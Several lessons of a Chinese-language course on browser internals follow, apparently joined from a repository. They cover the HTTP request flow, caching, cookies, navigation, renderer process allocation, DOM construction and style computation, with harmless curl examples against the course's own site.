首先浏览器会向服务器发送**请求行**,它包括了**请求方法、请求URIUniform Resource Identifier和HTTP版本协议**。
发送请求行,就是告诉服务器浏览器需要什么资源,最常用的请求方法是**Get**。比如直接在浏览器地址栏键入极客时间的域名time.geekbang.org这就是告诉服务器要Get它的首页资源。
另外一个常用的请求方法是**POST**它用于发送一些数据给服务器比如登录一个网站就需要通过POST方法把用户信息发送给服务器。如果使用POST方法那么浏览器还要准备数据给服务器这里准备的数据是通过**请求体**来发送。
在浏览器发送请求行命令之后,还要以**请求头**形式发送其他一些信息把浏览器的一些基础信息告诉服务器。比如包含了浏览器所使用的操作系统、浏览器内核等信息以及当前请求的域名信息、浏览器端的Cookie信息等等。
## 服务器端处理HTTP请求流程
历经千辛万苦HTTP的请求信息终于被送达了服务器。接下来服务器会根据浏览器的请求信息来准备相应的内容。
### 1. 返回请求
一旦服务器处理结束便可以返回数据给浏览器了。你可以通过工具软件curl来查看返回请求数据具体使用方法是在命令行中输入以下命令
```
curl -i https://time.geekbang.org/
```
注意这里加上了`-i`是为了返回响应行、响应头和响应体的数据,返回的结果如下图所示,你可以结合这些数据来理解服务器是如何响应浏览器的。
<img src="https://static001.geekbang.org/resource/image/3e/76/3e30476a4bbda49fd7cd4fd0ea09f076.png" alt="">
首先服务器会返回**响应行**,包括协议版本和状态码。
但并不是所有的请求都可以被服务器处理的,那么一些无法处理或者处理出错的信息,怎么办呢?服务器会通过请求行的**状态码**来告诉浏览器它的处理结果,比如:
- 最常用的状态码是200表示处理成功
- 如果没有找到页面,则会返回**404**。
状态码类型很多,这里我就不过多介绍了,网上有很多资料,你可以自行查询和学习。
随后,正如浏览器会随同请求发送请求头一样,服务器也会随同响应向浏览器发送**响应头**。响应头包含了服务器自身的一些信息比如服务器生成返回数据的时间、返回的数据类型JSON、HTML、流媒体等类型以及服务器要在客户端保存的Cookie等信息。
发送完响应头后,服务器就可以继续发送**响应体**的数据通常响应体就包含了HTML的实际内容。
以上这些就是服务器响应浏览器的具体过程。
### 2. 断开连接
通常情况下,一旦服务器向客户端返回了请求数据,它就要关闭 TCP 连接。不过如果浏览器或者服务器在其头信息中加入了:
```
Connection:Keep-Alive
```
那么TCP连接在发送后将仍然保持打开状态这样浏览器就可以继续通过同一个TCP连接发送请求。**保持TCP连接可以省去下次请求时需要建立连接的时间提升资源加载速度**。比如一个Web页面中内嵌的图片就都来自同一个Web站点如果初始化了一个持久连接你就可以复用该连接以请求其他资源而不需要重新再建立新的TCP连接。
### 3. 重定向
到这里似乎请求流程快结束了不过还有一种情况你需要了解下比如当你在浏览器中打开geekbang.org后你会发现最终打开的页面地址是 [https://www.geekbang.org](https://www.geekbang.org)。
这两个URL之所以不一样是因为涉及到了一个**重定向操作**。跟前面一样你依然可以使用curl来查看下请求geekbang.org 会返回什么内容?
在控制台输入如下命令:
```
curl -I geekbang.org
```
注意这里输入的参数是`-I`,和`-i`不一样,`-I`表示只需要获取响应头和响应行数据,而不需要获取响应体的数据,最终返回的数据如下图所示:
<img src="https://static001.geekbang.org/resource/image/28/43/28d5796c6ab7faa619ed8f1bd17b0843.jpg" alt="">
从图中你可以看到响应行返回的状态码是301状态301就是告诉浏览器我需要重定向到另外一个网址而需要重定向的网址正是包含在响应头的Location字段中接下来浏览器获取Location字段中的地址并使用该地址重新导航这就是一个完整重定向的执行流程。这也就解释了为什么输入的是 geekbang.org最终打开的却是 [https://www.geekbang.org](https://www.geekbang.org) 了。
不过也不要认为这种跳转是必然的。如果你打开 [https://12306.cn](https://12306.cn)你会发现这个站点是打不开的。这是因为12306的服务器并没有处理跳转所以必须要手动输入完整的 [https://www.12306.cn](https://www.12306.cn) 才能打开页面。
## 问题解答
说了这么多相信你现在已经了解了HTTP的请求流程那现在我们再回过头来看看文章开头提出的问题。
### 1. 为什么很多站点第二次打开速度会很快?
如果第二次页面打开很快,主要原因是第一次加载页面过程中,缓存了一些耗时的数据。
那么,哪些数据会被缓存呢?从上面介绍的核心请求路径可以发现,**DNS缓存**和**页面资源缓存**这两块数据是会被浏览器缓存的。其中DNS缓存比较简单它主要就是在浏览器本地把对应的IP和域名关联起来这里就不做过多分析了。
我们重点看下浏览器资源缓存,下面是缓存处理的过程:
<img src="https://static001.geekbang.org/resource/image/5f/08/5fc2f88a04ee0fc41a808f3481287408.png" alt="">
首先,我们看下服务器是通过什么方式让浏览器缓存数据的?
从上图的第一次请求可以看出,当服务器返回**HTTP响应头**给浏览器时,浏览器是**通过响应头中的Cache-Control字段来设置是否缓存该资源**。通常我们还需要为这个资源设置一个缓存过期时长而这个时长是通过Cache-Control中的Max-age参数来设置的比如上图设置的缓存过期时间是2000秒。
```
Cache-Control:Max-age=2000
```
这也就意味着,在该缓存资源还未过期的情况下, 如果再次请求该资源,会直接返回缓存中的资源给浏览器。
但如果缓存过期了,浏览器则会继续发起网络请求,并且在**HTTP请求头**中带上:
```
If-None-Match:&quot;4f80f-13c-3a1xb12a&quot;
```
服务器收到请求头后会根据If-None-Match的值来判断请求的资源是否有更新。
- 如果没有更新就返回304状态码相当于服务器告诉浏览器“这个缓存可以继续使用这次就不重复发送数据给你了。”
- 如果资源有更新,服务器就直接返回最新资源给浏览器。
关于缓存的细节内容特别多,具体细节你可以参考这篇 [HTTP缓存](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Caching_FAQ),在这里我就不赘述了。
简要来说很多网站第二次访问能够秒开是因为这些网站把很多资源都缓存在了本地浏览器缓存直接使用本地副本来回应请求而不会产生真实的网络请求从而节省了时间。同时DNS数据也被浏览器缓存了这又省去了DNS查询环节。
### 2. 登录状态是如何保持的?
通过上面的介绍,你已经了解了缓存是如何工作的。下面我们再一起看下登录状态是如何保持的。
- 用户打开登录页面在登录框里填入用户名和密码点击确定按钮。点击按钮会触发页面脚本生成用户登录信息然后调用POST方法提交用户登录信息给服务器。
- 服务器接收到浏览器提交的信息之后查询后台验证用户登录信息是否正确如果正确的话会生成一段表示用户身份的字符串并把该字符串写到响应头的Set-Cookie字段里如下所示然后把响应头发送给浏览器。
```
Set-Cookie: UID=3431uad;
```
- 浏览器在接收到服务器的响应头后开始解析响应头如果遇到响应头里含有Set-Cookie字段的情况浏览器就会把这个字段信息保存到本地。比如把`UID=3431uad`保持到本地。
- 当用户再次访问时浏览器会发起HTTP请求但在发起请求之前浏览器会读取之前保存的Cookie数据并把数据写进请求头里的Cookie字段里如下所示然后浏览器再将请求头发送给服务器。
```
Cookie: UID=3431uad;
```
- 服务器在收到HTTP请求头数据之后就会查找请求头里面的“Cookie”字段信息当查找到包含`UID=3431uad`的信息时,服务器查询后台,并判断该用户是已登录状态,然后生成含有该用户信息的页面数据,并把生成的数据发送给浏览器。
- 浏览器在接收到该含有当前用户的页面数据后,就可以正确展示用户登录的状态信息了。
好了通过这个流程你可以知道浏览器页面状态是通过使用Cookie来实现的。Cookie流程可以参考下图
<img src="https://static001.geekbang.org/resource/image/d9/b3/d9d6cefe8d3d6d84a37a626687c6ecb3.png" alt="">
简单地说,如果服务器端发送的响应头内有 Set-Cookie 的字段,那么浏览器就会将该字段的内容保持到本地。当下次客户端再往该服务器发送请求时,客户端会自动在请求头中加入 Cookie 值后再发送出去。服务器端发现客户端发送过来的Cookie后会去检查究竟是从哪一个客户端发来的连接请求然后对比服务器上的记录最后得到该用户的状态信息。
## 总结
本篇文章的内容比较多、比较碎,但是非常重要,所以我先来总结下今天的主要内容。
为了便于你理解我画了下面这张详细的“HTTP请求示意图”用来展现浏览器中的HTTP请求所经历的各个阶段。
<img src="https://static001.geekbang.org/resource/image/1b/6c/1b49976aca2c700883d48d927f48986c.png" alt="">
从图中可以看到浏览器中的HTTP请求从发起到结束一共经历了如下八个阶段构建请求、查找缓存、准备IP和端口、等待TCP队列、建立TCP连接、发起HTTP请求、服务器处理请求、服务器返回请求和断开连接。
然后我还通过HTTP请求路径解答了两个经常会碰到的问题一个涉及到了Cache流程另外一个涉及到如何使用Cookie来进行状态管理。
通过今天系统的讲解想必你已经了解了一个HTTP完整的工作流程相信这些知识点之于你以后的学习或工作会很有帮助。
另外,你应该也看出来了本篇文章是有很多分析问题的思路在里面的。所以在学习过程中,你也要学会提问,通过最终要做什么和现在有什么,去一步步分析并提出一些问题,让疑问带领着你去学习,抓住几个本质的问题就可以学透相关知识点,让你能站在更高维度去查看整体框架。希望它能成为你的一个学习技巧吧!
## 思考时间
最后还是留给你个思考题结合今天所讲HTTP请求的各个阶段如果一个页面的网络加载时间过久你是如何分析卡在哪个阶段的
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,203 @@
<audio id="audio" title="04 | 导航流程从输入URL到页面展示这中间发生了什么" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/3d/8d/3d4d948d10d7b1dbe4e9add4e29a538d.mp3"></audio>
“在浏览器里从输入URL到页面展示这中间发生了什么 ”这是一道经典的面试题能比较全面地考察应聘者知识的掌握程度其中涉及到了网络、操作系统、Web等一系列的知识。所以我在面试应聘者时也必问这道题但遗憾的是大多数人只能回答其中部分零散的知识点并不能将这些知识点串联成线无法系统而又全面地回答这个问题。
那么今天我们就一起来探索下这个流程下图是我梳理出的“从输入URL到页面展示完整流程示意图”
<img src="https://static001.geekbang.org/resource/image/92/5d/92d73c75308e50d5c06ad44612bcb45d.png" alt="">
从图中可以看出,**整个过程需要各个进程之间的配合**,所以在开始正式流程之前,我们还是先来快速回顾下浏览器进程、渲染进程和网络进程的主要职责。
- 浏览器进程主要负责用户交互、子进程管理和文件储存等功能。
- 网络进程是面向渲染进程和浏览器进程等提供网络下载功能。
- 渲染进程的主要职责是把从网络下载的HTML、JavaScript、CSS、图片等资源解析为可以显示和交互的页面。因为渲染进程所有的内容都是通过网络获取的会存在一些恶意代码利用浏览器漏洞对系统进行攻击所以运行在渲染进程里面的代码是不被信任的。这也是为什么Chrome会让渲染进程运行在安全沙箱里就是为了保证系统的安全。
当然,你也可以先回顾下前面的[《01 | Chrome架构仅仅打开了1个页面为什么有4个进程](https://time.geekbang.org/column/article/113513)这篇文章,来全面了解浏览器多进程架构。
回顾了浏览器的进程架构后,我们再结合上图来看下这个完整的流程,可以看出,整个流程包含了许多步骤,我把其中几个核心的节点用蓝色背景标记出来了。这个过程可以大致描述为如下。
- 首先浏览器进程接收到用户输入的URL请求浏览器进程便将该URL转发给网络进程。
- 然后在网络进程中发起真正的URL请求。
- 接着网络进程接收到了响应头数据,便解析响应头数据,并将数据转发给浏览器进程。
- 浏览器进程接收到网络进程的响应头数据之后,发送“提交导航(CommitNavigation)”消息到渲染进程;
- 渲染进程接收到“提交导航”的消息之后便开始准备接收HTML数据接收数据的方式是直接和网络进程建立数据管道
- 最后渲染进程会向浏览器进程“确认提交”,这是告诉浏览器进程:“已经准备好接受和解析页面数据了”。
- 浏览器进程接收到渲染进程“提交文档”的消息之后,便开始移除之前旧的文档,然后更新浏览器进程中的页面状态。
这其中,**用户发出URL请求到页面开始解析的这个过程就叫做导航**。
## 从输入URL到页面展示
现在我们知道了浏览器几个主要进程的职责,还有在导航过程中需要经历的几个主要的阶段,下面我们就来详细分析下这些阶段,同时也就解答了开头所说的那道经典的面试题。
### 1. 用户输入
当用户在地址栏中输入一个查询关键字时,地址栏会判断输入的关键字是**搜索内容**,还是**请求的URL**。
- 如果是搜索内容地址栏会使用浏览器默认的搜索引擎来合成新的带搜索关键字的URL。
- 如果判断输入内容符合URL规则比如输入的是 time.geekbang.org那么地址栏会根据规则把这段内容加上协议合成为完整的URL如 [https://time.geekbang.org](https://time.geekbang.org)。
当用户输入关键字并键入回车之后这意味着当前页面即将要被替换成新的页面不过在这个流程继续之前浏览器还给了当前页面一次执行beforeunload事件的机会beforeunload事件允许页面在退出之前执行一些数据清理操作还可以询问用户是否要离开当前页面比如当前页面可能有未提交完成的表单等情况因此用户可以通过beforeunload事件来取消导航让浏览器不再执行任何后续工作。
当前页面没有监听beforeunload事件或者同意了继续后续流程那么浏览器便进入下图的状态
<img src="https://static001.geekbang.org/resource/image/fa/30/fad33fc7c5f2bdf4e20cac7691484130.png" alt="">
从图中可以看出,当浏览器刚开始加载一个地址之后,标签页上的图标便进入了加载状态。但此时图中页面显示的依然是之前打开的页面内容,并没立即替换为极客时间的页面。因为需要等待提交文档阶段,页面内容才会被替换。
### 2. URL请求过程
接下来便进入了页面资源请求过程。这时浏览器进程会通过进程间通信IPC把URL请求发送至网络进程网络进程接收到URL请求后会在这里发起真正的URL请求流程。那具体流程是怎样的呢
首先网络进程会查找本地缓存是否缓存了该资源。如果有缓存资源那么直接返回资源给浏览器进程如果在缓存中没有查找到资源那么直接进入网络请求流程。这请求前的第一步是要进行DNS解析以获取请求域名的服务器IP地址。如果请求协议是HTTPS那么还需要建立TLS连接。
接下来就是利用IP地址和服务器建立TCP连接。连接建立之后浏览器端会构建请求行、请求头等信息并把和该域名相关的Cookie等数据附加到请求头中然后向服务器发送构建的请求信息。
服务器接收到请求信息后,会根据请求信息生成响应数据(包括响应行、响应头和响应体等信息),并发给网络进程。等网络进程接收了响应行和响应头之后,就开始解析响应头的内容了。(为了方便讲述,下面我将服务器返回的响应头和响应行统称为响应头。)
**1重定向**
在接收到服务器返回的响应头后网络进程开始解析响应头如果发现返回的状态码是301或者302那么说明服务器需要浏览器重定向到其他URL。这时网络进程会从响应头的Location字段里面读取重定向的地址然后再发起新的HTTP或者HTTPS请求一切又重头开始了。
比如,我们在终端里输入以下命令:
```
curl -I http://time.geekbang.org/
```
`curl -I + URL`的命令是接收服务器返回的响应头的信息。执行命令后,我们看到服务器返回的响应头信息如下:
<img src="https://static001.geekbang.org/resource/image/65/7e/655cbf32dd4bb6f9decc5c7f9a535a7e.png" alt="">
从图中可以看出极客时间服务器会通过重定向的方式把所有HTTP请求转换为HTTPS请求。也就是说你使用HTTP向极客时间服务器请求时服务器会返回一个包含有301或者302状态码响应头并把响应头的Location字段中填上HTTPS的地址这就是告诉了浏览器要重新导航到新的地址上。
下面我们再使用HTTPS协议对极客时间发起请求看看服务器的响应头信息是什么样子的。
```
curl -I https://time.geekbang.org/
```
我们看到服务器返回如下信息:
<img src="https://static001.geekbang.org/resource/image/0c/43/0c4987fe5d05646fa8245d8cc50d1a43.png" alt="">
从图中可以看出服务器返回的响应头的状态码是200这是告诉浏览器一切正常可以继续往下处理该请求了。
好了,以上是重定向内容的介绍。现在你应该理解了,**在导航过程中如果服务器响应行的状态码包含了301、302一类的跳转信息浏览器会跳转到新的地址继续导航如果响应行是200那么表示浏览器可以继续处理该请求**。
**2响应数据类型处理**
在处理了跳转信息之后我们继续导航流程的分析。URL请求的数据类型有时候是一个下载类型有时候是正常的HTML页面那么浏览器是如何区分它们呢
答案是Content-Type。**Content-Type是HTTP头中一个非常重要的字段 它告诉浏览器服务器返回的响应体数据是什么类型**然后浏览器会根据Content-Type的值来决定如何显示响应体的内容。
这里我们还是以极客时间为例看看极客时间官网返回的Content-Type值是什么。在终端输入以下命令
```
curl -I https://time.geekbang.org/
```
返回信息如下图:
<img src="https://static001.geekbang.org/resource/image/89/1c/8951e161b5f44a73e52c16b631a63e1c.png" alt="">
从图中可以看到响应头中的Content-type字段的值是text/html这就是告诉浏览器服务器返回的数据是**HTML格式**。
接下来我们再来利用curl来请求极客时间安装包的地址如下所示
```
curl -I https://res001.geekbang.org/apps/geektime/android/2.3.1/official/geektime_2.3.1_20190527-2136_offical.apk
```
请求后返回的响应头信息如下:
<img src="https://static001.geekbang.org/resource/image/59/3b/595902748d7d4c2f9c1d4783962ae43b.png" alt="">
从返回的响应头信息来看其Content-Type的值是application/octet-stream显示数据是**字节流类型**的,通常情况下,浏览器会按照**下载类型**来处理该请求。
需要注意的是如果服务器配置Content-Type不正确比如将text/html类型配置成application/octet-stream类型那么浏览器可能会曲解文件内容比如会将一个本来是用来展示的页面变成了一个下载文件。
所以不同Content-Type的后续处理流程也截然不同。如果Content-Type字段的值被浏览器判断为**下载类型那么该请求会被提交给浏览器的下载管理器同时该URL请求的导航流程就此结束**。但如果是**HTML那么浏览器则会继续进行导航流程**。由于Chrome的页面渲染是运行在渲染进程中的所以接下来就需要准备渲染进程了。
### 3. 准备渲染进程
默认情况下Chrome会为每个页面分配一个渲染进程也就是说每打开一个新页面就会配套创建一个新的渲染进程。但是也有一些例外在某些情况下浏览器会让多个页面直接运行在同一个渲染进程中。
比如我从极客时间的首页里面打开了另外一个页面——算法训练营我们看下图的Chrome的任务管理器截图
<img src="https://static001.geekbang.org/resource/image/d8/28/d8fe2afbd8ea2d4a8d8cc4bb14c50f28.png" alt="">
从图中可以看出打开的这三个页面都是运行在同一个渲染进程中进程ID是23601。
**那什么情况下多个页面会同时运行在一个渲染进程中呢?**
要解决这个问题我们就需要先了解下什么是同一站点same-site。具体地讲我们将“**同一站点**”定义为**根域名**例如geekbang.org加上**协议**例如https:// 或者http://),还包含了该根域名下的所有子域名和不同的端口,比如下面这三个:
```
https://time.geekbang.org
https://www.geekbang.org
https://www.geekbang.org:8080
```
它们都是属于**同一站点**因为它们的协议都是HTTPS而且根域名也都是geekbang.org。
Chrome的默认策略是每个标签对应一个渲染进程。但**如果从一个页面打开了另一个新页面,而新页面和当前页面属于同一站点的话,那么新页面会复用父页面的渲染进程**。官方把这个默认策略叫process-per-site-instance。
那若新页面和当前页面不属于同一站点情况又会发生什么样的变化呢比如我通过极客邦页面里的链接打开InfoQ的官网[https://www.infoq.cn/](https://www.infoq.cn/) 因为infoq.cn和geekbang.org不属于同一站点所以infoq.cn会使用一个新的渲染进程你可以参考下图
<img src="https://static001.geekbang.org/resource/image/fb/74/fba1dd05f0aeba93a5cb25f305971274.png" alt="">
从图中任务管理器可以看出:由于极客邦和极客时间的标签页拥有**相同的协议和根域名**,所以它们属于**同一站点**并运行在同一个渲染进程中而infoq.cn的根域名不同于geekbang.org也就是说InfoQ和极客邦不属于同一站点因此它们会运行在两个不同的渲染进程之中。
总结来说,打开一个新页面采用的**渲染进程策略**就是:
- 通常情况下,打开新的页面都会使用单独的渲染进程;
- 如果从A页面打开B页面且A和B都属于**同一站点**的话那么B页面复用A页面的渲染进程如果是其他情况浏览器进程则会为B创建一个新的渲染进程。
渲染进程准备好之后,还不能立即进入文档解析状态,因为此时的文档数据还在网络进程中,并没有提交给渲染进程,所以下一步就进入了提交文档阶段。
### 4. 提交文档
所谓提交文档就是指浏览器进程将网络进程接收到的HTML数据提交给渲染进程具体流程是这样的
- 首先当浏览器进程接收到网络进程的响应头数据之后,便向渲染进程发起“提交文档”的消息;
- 渲染进程接收到“提交文档”的消息后,会和网络进程建立传输数据的“管道”;
- 等文档数据传输完成之后,渲染进程会返回“确认提交”的消息给浏览器进程;
- 浏览器进程在收到“确认提交”的消息后会更新浏览器界面状态包括了安全状态、地址栏的URL、前进后退的历史状态并更新Web页面。
其中,当渲染进程**确认提交**之后,更新内容如下图所示:
<img src="https://static001.geekbang.org/resource/image/d3/b8/d3c5a6188b09b5b57af439005ae7dfb8.png" alt="">
这也就解释了为什么在浏览器的地址栏里面输入了一个地址后,之前的页面没有立马消失,而是要加载一会儿才会更新页面。
到这里,一个完整的导航流程就“走”完了,这之后就要进入渲染阶段了。
### 5. 渲染阶段
一旦文档被提交,渲染进程便开始页面解析和子资源加载了,关于这个阶段的完整过程,我会在下一篇文章中来专门介绍。这里你只需要先了解一旦页面生成完成,渲染进程会发送一个消息给浏览器进程,浏览器接收到消息后,会停止标签图标上的加载动画。如下所示:
<img src="https://static001.geekbang.org/resource/image/be/58/bef45eb5b01c34e328486004feedd658.png" alt="">
至此一个完整的页面就生成了。那文章开头的“从输入URL到页面展示这中间发生了什么”这个过程及其“串联”的问题也就解决了。
## 总结
好了,今天就到这里,下面我来简单总结下这篇文章的要点:
- 服务器可以根据响应头来控制浏览器的行为,如跳转、网络数据类型判断。
- Chrome默认采用每个标签对应一个渲染进程但是如果两个页面属于同一站点那这两个标签会使用同一个渲染进程。
- 浏览器的导航过程涵盖了从用户发起请求到提交文档给渲染进程的中间所有阶段。
导航流程很重要,它是网络加载流程和渲染流程之间的一座桥梁,如果你理解了导航流程,那么你就能完整串起来整个页面显示流程,这对于你理解浏览器的工作原理起到了点睛的作用。
## 思考时间
最后还是留给你个小作业在上一篇文章中我们介绍了HTTP请求过程在本文我们又介绍了导航流程那么如果再有面试官问你“从输入URL到页面展示这中间发生了什么”这个问题你知道怎么回答了吗可以用你自己的语言组织下就当为你的面试做准备。
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,212 @@
<audio id="audio" title="05 | 渲染流程HTML、CSS和JavaScript是如何变成页面的" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/41/1e/41c879102cba3e316ce662ad34df421e.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/117637)中我们介绍了导航相关的流程那导航被提交后又会怎么样呢就进入了渲染阶段。这个阶段很重要了解其相关流程能让你“看透”页面是如何工作的有了这些知识你可以解决一系列相关的问题比如能熟练使用开发者工具因为能够理解开发者工具里面大部分项目的含义能优化页面卡顿问题使用JavaScript优化动画流程通过优化样式表来防止强制同步布局等等。
既然它的功能这么强大,那么今天,我们就来好好聊聊**渲染流程**。
通常我们编写好HTML、CSS、JavaScript等文件经过浏览器就会显示出漂亮的页面如下图所示但是你知道它们是如何转化成页面的吗这背后的原理估计很多人都答不上来。
<img src="https://static001.geekbang.org/resource/image/2b/79/2b08a85c63bee68c6fd95dabb648fd79.png" alt="">
从图中可以看出左边输入的是HTML、CSS、JavaScript数据这些数据经过中间渲染模块的处理最终输出为屏幕上的像素。
这中间的**渲染模块**就是我们今天要讨论的主题。为了能更好地理解下文你可以先结合下图快速抓住HTML、CSS和JavaScript的含义
<img src="https://static001.geekbang.org/resource/image/31/e6/31cd7172f743193d682d088a60cb44e6.png" alt="">
从上图可以看出,**HTML的内容是由标记和文本组成**。标记也称为**标签**每个标签都有它自己的语义浏览器会根据标签的语义来正确展示HTML内容。比如上面的`&lt;p&gt;`标签是告诉浏览器在这里的内容需要创建一个新段落,中间的文本就是段落中需要显示的内容。
如果需要改变HTML的字体颜色、大小等信息就需要用到CSS。CSS又称为**层叠样式表,是由选择器和属性组成**比如图中的p选择器它会把HTML里面`&lt;p&gt;`标签的内容选择出来,然后再把选择器的属性值应用到`&lt;p&gt;`标签内容上。选择器里面有个color属性它的值是red这是告诉渲染引擎把`&lt;p&gt;`标签的内容显示为红色。
至于**JavaScript简称为JS使用它可以使网页的内容“动”起来**比如上图中可以通过JavaScript来修改CSS样式值从而达到修改文本颜色的目的。
搞清楚HTML、CSS和JavaScript的含义后那么接下来我们就正式开始分析渲染模块了。
由于渲染机制过于复杂所以渲染模块在执行过程中会被划分为很多子阶段输入的HTML经过这些子阶段最后输出像素。我们把这样的一个处理流程叫做**渲染流水线**,其大致流程如下图所示:
<img src="https://static001.geekbang.org/resource/image/92/e8/9259f8732ddad472e5e08a633ad46de8.png" alt="">
按照渲染的时间顺序流水线可分为如下几个子阶段构建DOM树、样式计算、布局阶段、分层、绘制、分块、光栅化和合成。内容比较多我会用两篇文章来为你详细讲解这各个子阶段。接下来在介绍每个阶段的过程中你应该重点关注以下三点内容
- 开始每个子阶段都有其**输入的内容**
- 然后每个子阶段有其**处理过程**
- 最终每个子阶段会生成**输出内容**。
理解了这三部分内容,能让你更加清晰地理解每个子阶段。
## 构建DOM树
为什么要构建DOM树呢**这是因为浏览器无法直接理解和使用HTML所以需要将HTML转换为浏览器能够理解的结构——DOM树**。
这里我们还需要简单介绍下什么是**树结构**,为了更直观地理解,你可以参考下面我画的几个树结构:
<img src="https://static001.geekbang.org/resource/image/fc/38/fcad0a4e3e73c796f00d6120284a3638.png" alt="">
从图中可以看出,树这种结构非常像我们现实生活中的“树”,其中每个点我们称为**节点**,相连的节点称为**父子节点**。树结构在浏览器中的应用还是比较多的,比如下面我们要介绍的渲染流程,就在频繁地使用树结构。
接下来咱们还是言归正传来看看DOM树的构建过程你可以参考下图
<img src="https://static001.geekbang.org/resource/image/12/79/125849ec56a3ea98d4b476c66c754f79.png" alt="">
从图中可以看出构建DOM树的**输入内容**是一个非常简单的HTML文件然后经由HTML解析器解析最终输出树状结构的DOM。
为了更加直观地理解DOM树你可以打开Chrome的“开发者工具”选择“Console”标签来打开控制台然后在控制台里面输入“document”后回车这样你就能看到一个完整的DOM树结构如下图所示
<img src="https://static001.geekbang.org/resource/image/47/73/47f57c3eee749dd838939bfe5dd64573.png" alt="">
图中的document就是DOM结构你可以看到DOM和HTML内容几乎是一样的但是和HTML不同的是DOM是保存在内存中树状结构可以通过JavaScript来查询或修改其内容。
那下面就来看看如何通过JavaScript来修改DOM的内容在控制台中输入
```
document.getElementsByTagName(&quot;p&quot;)[0].innerText = &quot;black&quot;
```
这行代码的作用是把第一个`&lt;p&gt;`标签的内容修改为black具体执行结果你可以参考下图
<img src="https://static001.geekbang.org/resource/image/e7/74/e730aa1d73c1151c588e2f8c7e22c274.png" alt="">
从图中可以看出,在执行了一段修改第一个`&lt;p&gt;`标签的JavaScript代码后DOM的第一个p节点的内容成功被修改同时页面中的内容也被修改了。
好了现在我们已经生成DOM树了但是DOM节点的样式我们依然不知道要让DOM节点拥有正确的样式这就需要样式计算了。
## 样式计算Recalculate Style
样式计算的目的是为了计算出DOM节点中每个元素的具体样式这个阶段大体可分为三步来完成。
### 1. 把CSS转换为浏览器能够理解的结构
那CSS样式的来源主要有哪些呢你可以先参考下图
<img src="https://static001.geekbang.org/resource/image/bc/7c/bc93df7b8d03b2675f21e1d9e4e1407c.png" alt="">
从图中可以看出CSS样式来源主要有三种
- 通过link引用的外部CSS文件
- `&lt;style&gt;`标记内的 CSS
- 元素的style属性内嵌的CSS
和HTML文件一样浏览器也是无法直接理解这些纯文本的CSS样式所以**当渲染引擎接收到CSS文本时会执行一个转换操作将CSS文本转换为浏览器可以理解的结构——styleSheets**。
为了加深理解你可以在Chrome控制台中查看其结构只需要在控制台中输入document.styleSheets然后就看到如下图所示的结构
<img src="https://static001.geekbang.org/resource/image/8e/ab/8ec7d5ecfadcd05b3f1ec762223a9aab.png" alt="">
从图中可以看出这个样式表包含了很多种样式已经把那三种来源的样式都包含进去了。当然样式表的具体结构不是我们今天讨论的重点你只需要知道渲染引擎会把获取到的CSS文本全部转换为styleSheets结构中的数据并且该结构同时具备了查询和修改功能这会为后面的样式操作提供基础。
### 2. 转换样式表中的属性值,使其标准化
现在我们已经把现有的CSS文本转化为浏览器可以理解的结构了那么**接下来就要对其进行属性值的标准化操作**。
要理解什么是属性值标准化你可以看下面这样一段CSS文本
```
body { font-size: 2em }
p {color:blue;}
span {display: none}
div {font-weight: bold}
div p {color:green;}
div {color:red; }
```
可以看到上面的CSS文本中有很多属性值如2em、blue、bold这些类型数值不容易被渲染引擎理解所以**需要将所有值转换为渲染引擎容易理解的、标准化的计算值**,这个过程就是属性值标准化。
那标准化后的属性值是什么样子的?
<img src="https://static001.geekbang.org/resource/image/12/60/1252c6d3c1a51714606daa6bdad3a560.png" alt="">
从图中可以看到2em被解析成了32pxred被解析成了rgb(255,0,0)bold被解析成了700……
### 3. 计算出DOM树中每个节点的具体样式
现在样式的属性已被标准化了接下来就需要计算DOM树中每个节点的样式属性了如何计算呢
**这就涉及到CSS的继承规则和层叠规则了。**
首先是CSS继承。**CSS继承就是每个DOM节点都包含有父节点的样式**。这么说可能有点抽象我们可以结合具体例子看下面这样一张样式表是如何应用到DOM节点上的。
```
body { font-size: 20px }
p {color:blue;}
span {display: none}
div {font-weight: bold;color:red}
div p {color:green;}
```
这张样式表最终应用到DOM节点的效果如下图所示
<img src="https://static001.geekbang.org/resource/image/fe/b4/fe9a0ea868dc02a3c4a59f6080aa80b4.png" alt="">
从图中可以看出所有子节点都继承了父节点样式。比如body节点的font-size属性是20那body节点下面的所有节点的font-size都等于20。
为了加深你对CSS继承的理解你可以打开Chrome的“开发者工具”选择第一个“element”标签再选择“style”子标签你会看到如下界面
<img src="https://static001.geekbang.org/resource/image/88/b2/88a3aac427cc7c09361eac01a85fc7b2.png" alt="">
这个界面展示的信息很丰富,大致可描述为如下。
- 首先,可以选择要查看的**元素的样式位于图中的区域2中**在图中的第1个区域中点击对应的元素就可以在下面的区域查看该元素的样式了。比如这里我们选择的元素是`&lt;p&gt;`标签位于html.body.div.这个路径下面。
- 其次,可以从**样式来源位于图中的区域3中**中查看样式的具体来源信息看看是来源于样式文件还是来源于UserAgent样式表。**这里需要特别提下UserAgent样式它是浏览器提供的一组默认样式如果你不提供任何样式默认使用的就是UserAgent样式**。
- 最后可以通过区域2和区域3来查看样式继承的具体过程。
以上就是CSS继承的一些特性样式计算过程中会根据DOM节点的继承关系来合理计算节点样式。
样式计算过程中的第二个规则是样式层叠。**层叠是CSS的一个基本特征它是一个定义了如何合并来自多个源的属性值的算法。它在CSS处于核心地位CSS的全称“层叠样式表”正是强调了这一点**。关于层叠的具体规则这里就不做过多介绍了,网上资料也非常多,你可以自行搜索学习。
总之样式计算阶段的目的是为了计算出DOM节点中每个元素的具体样式在计算过程中需要遵守CSS的继承和层叠两个规则。这个阶段最终输出的内容是每个DOM节点的样式并被保存在ComputedStyle的结构内。
如果你想了解每个DOM元素最终的计算样式可以打开Chrome的“开发者工具”选择第一个“element”标签然后再选择“Computed”子标签如下图所示
<img src="https://static001.geekbang.org/resource/image/d8/46/d87415b0187e3860404bf963f1c3d646.png" alt="">
上图红色方框中显示了html.body.div.p标签的ComputedStyle的值。你想要查看哪个元素点击左边对应的标签就可以了。
## 布局阶段
